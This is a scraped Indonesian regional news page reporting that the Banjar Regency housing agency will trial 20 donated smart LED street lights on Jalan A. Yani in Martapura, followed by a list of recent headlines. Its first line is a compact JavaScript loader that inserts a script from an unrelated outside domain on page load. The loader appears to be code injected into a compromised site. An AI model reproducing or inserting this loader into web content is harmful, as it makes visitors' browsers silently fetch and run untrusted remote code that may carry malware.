(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

2019, Disperkim Banjar Ujicoba 20 unit PJU Berbasis Smart System


MARTAPURA, Awal 2019, Dinas Perumahan dan Permukiman (Disperkim) Kabupten Banjar akan melakukan ujicoba pemasangan Penerangan Jalan Umum (PJU) dengan menggunakan metode terbaru Led Siklon Smart System.

Kepala Disperkim Kabupten Banjar Rahmat Kartolo saat ditemu kanal Kalimantan dimeja kerjanya mengatakan, rencananya PJU Led Siklon Smart System akan dipasang di 20 titik sepanjangan jalan A. Yani kawasan Kecamatan Martapura Kabuapten Banjar.

Sementara adapun pengadaan PJU Led Siklon Smart System tersebut merupakan bantuan secara geratis dari salah satu perusahaan penyedia lampu PT.Caturmukti Pratama yang berada didaerah Kota Tangerang Provinsi Banten, dan sudah melakukan riset dan pengembangan produk-produk dimulai pada awal Tahun 2010 yang lalu.

“Adapun bantuan yang diberikan secara geratis, dari salah satu perusahaan penyedia lampu berupa PJU Led Siklon Smart System yang bisa dikendalikan lewat HP dan akan kita pasang di 20 titik dengan jarak per 50 meter disepanjang jalan A. Yani Kecamatan Martapura,” akunya.

Lebih jauh Rahmat menjelaskan PJU Led Siklon Smart System mempunyai beberapa keunggulan diantaranya dapat memonitor semua jenis lampu, tidak perlu menggunakan jalur kabel komunikasi khusus, menggunakan power cable yang sudah ada, sistem monitoring terpusat via Internet, kecepatan deteksi PJU rusak, hingga dapat  mempendeteksian Jaringan kabel rusak/koneksi kurang bagus dan  perhitungan pemakaian energi .

“Di luar dari keunggulan itu, PJU smart system ini juga bergaransi selama 6 tahun, jadi kita bisa berhemat selama 6 tahun untuk tidak memeliharanya,” ujarnya.

Dalam perkembangannya, walaupun perusahaan Siklon mengharapkan feedback yang positif dari pemerintah Kabupaten Banjar nantinya dengan memberikan 20 unit PJU Led Siklon Smart System secara geratis diawal namun Rahmat masih mempertimbangkan hal itu untuk dipasang lebih banyak didaerah lain, dengan alasan masih dalam tahap ujicoba.

“Kita pahami dalam perkembangannya, perusahaan siklon ada harapan untuk bekerjasama secara kontinu, namun kita juga harus mempertimbangkan dan mempelajari terlebih dahulu, salah satunya dengan tahapan ujicoba tersebut,” pungkasnya. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

11 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

12 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

14 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

18 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

18 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

21 jam ago

This website uses cookies.